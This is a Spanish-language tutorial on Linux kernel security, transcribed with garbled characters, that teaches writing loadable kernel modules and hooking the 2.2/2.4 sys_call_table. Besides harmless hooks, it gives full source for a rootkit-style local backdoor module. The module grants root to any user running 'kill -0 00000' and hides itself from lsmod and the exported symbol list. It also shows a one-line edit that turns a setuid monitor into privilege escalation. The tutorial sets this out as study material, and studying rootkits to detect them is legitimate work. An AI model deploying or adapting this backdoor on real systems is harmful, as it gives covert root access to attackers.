kernel, hacks y seguridad en linux - rootkits, ids y honeypots

48
Kernel hacks y seguridad J.M.P KERNEL HACKS Y SEGURIDAD EN LINUX Autor: Jose Miguel Porcel Gonzalez Fecha elaboración: Diciembre 2005 – Enero 2006 Esta obra se rige por la licencia “CreativeCommons” disponible aquí: http://www.creativecommons.org/licenses/by-nc-sa/2.5/legalcode Atribución. Debes reconocer y citar la obra de la forma especificada por el autor o el licenciante. No Comercial. No puedes utilizar esta obra para fines comerciales. Licenciar Igual. Si alteras o transformas esta obra, o generas una obra derivada, sólo puedes distribuir la obra generada bajo una licencia idéntica a ésta. Los derechos derivados del uso legítimo, del agotamiento u otras limitaciones o excepciones reconocidas por la ley no se ven afectados por lo anterior. Detalles: http://creativecommons.org/licenses/by-nc-sa/2.5/deed.es_CL NOTA: Salvo error u omisión el código de este documento se distribuye sin ningún tipo de garantia bajo licencia GNU GPL en su versión más reciente por debajo de la versión 3.

Upload: ortzi

Post on 11-Jun-2015

1.202 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

KERNEL HACKS Y SEGURIDAD EN LINUXAutor Jose Miguel Porcel Gonzalez

Fecha elaboracioacuten Diciembre 2005 ndash Enero 2006

Esta obra se rige por la licencia ldquoCreativeCommonsrdquo disponible aquiacute httpwwwcreativecommonsorglicensesby-nc-sa25legalcode

Atribucioacuten Debes reconocer y citar la obra de la forma especificada por el autor o el licenciante

No Comercial No puedes utilizar esta obra para fines comerciales

Licenciar Igual Si alteras o transformas esta obra o generas una obra derivada soacutelo puedes distribuir la obra generada bajo una licencia ideacutentica a eacutesta

Los derechos derivados del uso legiacutetimo del agotamiento u otras limitaciones o excepciones reconocidas por la ley no se ven afectados por lo anterior

Detalles

httpcreativecommonsorglicensesby-nc-sa25deedes_CL

NOTA Salvo error u omisioacuten el coacutedigo de este documento se distribuye sin ninguacuten tipo de garantia bajo licencia GNU GPL en su versioacuten maacutes reciente por debajo de la versioacuten 3

Kernel hacks y seguridad JMP

IacuteNDICE DE CONTENIDOS

Kernel hacks

1) Preparando el entorno de trabajo Obtener e instalar el coacutedigo fuente del nuacutecleo

2) Conceptos baacutesicos 3) Loadable Kernel Modules

Compilacioacuten de LKMs para la serie 24x 4) Sys_call_table[] en kernels 22 y 24 5) Protegiendo el UID 0 6) Backdoor local para kernels 24x 7) Moacutedulos para la serie 26 del nuacutecleo

Compilacioacuten de LKMs para la serie 26x 8) No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Otra alternativa iquestmaacutes sencilla 9) Hooks y hacks de intereacutes (algunas ideas) 10) Rootkits visioacuten general

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo Medidas de proteccioacuten y deteccioacuten de rootkits

Conclusiones

NIDS Snort

1) Preparando el entorno de trabajo 2) Configuracioacuten baacutesica de Snort 3) Descargando nuevas reglas de Inernet 4) Prevencioacuten de intrusiones 5) Usando ACID + Snort

Creando nuevas reglas para Snort

Conclusiones

Honeypots

1) Preparando el entorno de trabajo 2) Creando nuevos sistemas virtuales 3) Otros usos

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

Conclusiones

Bibliografiacutea y recursos en Internet

Kernel hacks y seguridad JMP

NOTA

El presente documento ha sido realizado por el autor de forma iacutentegra no obstante alguna informacioacuten de la que aparece ha sido utilizada por el autor del documento en otras ocasiones (aunque no en la misma forma ni en la totalidad del contenido) para otros trabajos personales publicados en la red u otros medios de comunicacioacuten con anterioridad Dichos documentos pueden estar regidos o no por la misma licencia del presente documento Las fuentes externas (incluyendo algunas figuras usadas) cuyo origen sea ajeno seraacuten citadas de forma expliacutecita yo deberiacutea aparecer al final del presente documento

Para la realizacioacuten de algunos diagramas se usoacute la herramienta ldquoDIArdquo y para escribir el documento se usoacute ldquoOpenOfficerdquo no obstante es posible distribuir el documento en cualquier otro formato siempre y cuando se respete su licencia y su contenido El trabajo no estaacute exento de errores e imperfecciones cualquier criacutetica constructiva (a modo de ldquofeedbackrdquo) seraacute bien recibida Existe una presentacioacuten (ldquodiapositivasrdquo) adjunta al documento que amplia (ligeramente) y sintetiza ciertos aspectos del documento y que lo complementa Estaacute disponible de igual forma en la red de Internet y se usoacute para la exposicioacuten (de una charla) presentando el trabajo en una Universidad

Kernel hacks y seguridad JMP

Introduccioacuten

En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo

La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)

En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare

Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux

Compilador GCC en una versioacuten reciente

Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual

Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario

Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables

11- Obtener e instalar el coacutedigo fuente del nuacutecleo

El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL

httpwwwkernelorg

Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina

ln ndashs usrsrclinux-$(uname ndashr) linux

Teniendo eso en cuenta

root cd usrsrc

1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas

cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx

editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

